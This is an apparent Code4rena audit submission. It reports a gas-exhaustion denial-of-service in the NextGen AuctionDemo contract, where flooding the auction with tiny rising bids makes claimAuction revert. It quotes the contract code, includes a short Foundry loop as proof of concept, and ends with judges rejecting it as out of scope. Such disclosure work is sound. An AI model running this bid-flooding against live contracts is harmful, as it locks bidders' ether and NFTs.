Possible DOS attack the moment any new bid is created.

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104

Vulnerability details

Impact

Due to the possibility of making 1 wei bids. Increasing the value of auctionInfoData[_tokenid].length is fairly accessible & could permanently lock users' ether & make the winning bidder unable to claim his nft, due to the function call consistently reverting. The function bellow creates a newBid each time the msg.value is higher than the last. So even bids done all by 1 address, will make new instances in the auctionInfoData array.

function participateToAuction(uint256 _tokenid) public payable {
        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
    }

Here the claimAuction function makes use of the list's length, in order to transfer the nft to the highest bidder & repay other bidders with their ether. Purposefully inflating this list, will guarantee this function to fail.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

function testDOSAuction() public {
        _mintAndAuction();

        vm.prank(fixAddress("RegularUser1"));
        vm.deal(fixAddress("RegularUser1"), 1e16); // 0.01 ether
        uint256 gasLimit = 10000; // Ethereums gas limit is 15_000_000, so varies with foundry's setup.
        for(uint256 i; i < gasLimit; i++){
            _auctionDemo.participateToAuction{value: i}(30000000000);
        }
    }

Tools Used

Foundry

Recommended Mitigation Steps

Using loops for any .call{}() or safeTransfer() is not recommended by regular security standards. In order to avoid misuse or MEV even possibilities id highly suggest a router contract for users to interact with more safely, instead of trying to have the core functionalities cater to users.

Assessed type

DoS

[141345]

bot race known issue H-01

[c4-pre-sort]

141345 marked the issue as insufficient quality report

[c4-pre-sort]

141345 marked the issue as primary issue

[c4-judge]

alex-ppg marked the issue as duplicate of #2038

[c4-judge]

alex-ppg marked the issue as unsatisfactory: Out of scope

[c4-judge]

alex-ppg marked the issue as unsatisfactory: Out of scope